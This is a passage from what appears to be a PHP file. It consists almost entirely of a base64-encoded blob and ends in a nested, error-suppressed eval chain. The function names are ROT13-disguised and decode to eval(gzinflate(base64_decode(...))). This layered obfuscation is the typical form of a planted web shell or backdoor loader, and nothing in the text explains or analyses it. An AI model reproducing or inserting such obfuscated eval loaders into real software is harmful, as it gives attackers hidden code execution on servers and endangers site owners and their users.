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")));@eval($uD64_c0m('$k0xEm="MIKoogf4RC2IbhuQv7kDwh0xXNdfYMTcYdESpbnBQY8Hmd5fHdaGyIgqia7Uqv8C+2NL5CNZm5xmUY0oJYGcC70ST75dfJPT8n4L09plzsdIFT/GjJPEBYBBVlvth0aUiIBQaQd/b7v+mqwFesNFGlE0eElKSU9rhCcISpWcgTjfemtxKUNkT3YEiuWBX/68yCM+lX/kc0g86NHXscVQ3cpUBGBj85aDW+ARSDq2Ztq2KlFlD9tE390cp0gGJZa0LJnyd9iZAcKvPeJ/4ScUhNXeJEy3bkYIJp+6jNfie6QYNnn+iBcpS/nft01JSk37dj6dQ7e6cRq+hqqq7d0bY90Y8hSnW32gR6GUqsrdpiiZZGTseMH/5PRjMqKPWr6mpsYx6A7ltR3hwpippMVkoNchAzfVGD58oud+y2TwcB0nnoSGQo6F7eavbISB7yCYNz0mj3TDfBgKxRoFuwgQqInjnjes+gGgEuK6QrRsZduhQpv5jsOQ2L2PWV1XglCqKIuQBapviPu8mcEspdEmTEWsZT6qBSst7fRW7dJKr+K5cUFYFR+JGwXmV33pRI8IVv2QwvmcYzA8fRCap8N2N7rEQHM26ASMoOKU76gD9poeS4Ow5PQ6bbXrFKQPPVkVq1/T+aGTy7QbZmOCcWhcjCd8jK5AsWJqZwsjHE00+qNVFK2vVUlGbTeaf0sR9g4VmzDjFfXZT1rCWb6dSrW+sMv+TXumfA2xRWdcWZlcCcUlwaGKq9aVwjeVA9PZ6wOD3p/phO2mEkQ1DSbw0v1xje2lZaXADQznQFkV9jSs8kTQj3oZzXyXjAana57Vj7yx6OKKHD4aDK53cUILrLCeERLeVC9gzXjTg1F2vmYUOjKAJsr9fgtbkVppcbk8w/DtPfWyqfGoNxXUV+4IIN+LHTHkmUQxH4a6IL36kHX4ZooKuGrvTA3wRjolT4ZHLMnEa4JiMfJMN9O9moWnZsVW5ZGn7bMpGrIV/OZqRSzaNi9KPExIKw0P8UfQYOGkEvy631Xb5EeBsqX2FbFbCWwa3YqAEwtKry16b6wBY9GKmNKrlbM8FacUp2nvJCurObkVkjGqLaFPAnE7Vtq2FmvBb3Tycs4vidKLYTIPojMbCbUEEHm8LY+2HRKHe0qSeLnHA7sIDknmgiEd6Ho5yq7WJKrGtz4ILSrT3Fxs0jzv7dv2K2Iv1NbJxlsOwcc132EpEp7KR+G17/zxoR0qfitme6wR+FUg13UK5X5zBvj5mnz99ABzhhQZ+IlJQfsOpBcASgHe2Z00gNsA9H068VS0Zk3sQ9KCArxzi0kXp2AkzEhDsxf9mn0LK9qr/8DWJjMIJ3iW+93SDcELAENsQm/a3urSJs1x6/Z6Yj9asfrW/Z1iWhjsKqadS46SbsDMi+DIoI4gwc/rsama2oNWa95hb+aggc//f41z821/A6s1wC4a22t+3sLm2c+s1/Fw9FH2i6Jmq7/JyBajBkBucuTqCzrporsm7n8p0+yy53/Li/7+8nI58/7Ayp37n6e37l5seN8sCam8Qj==";@riny(tmvasyngr(onfr64_qrpbqr($k0xEm)));'));
?>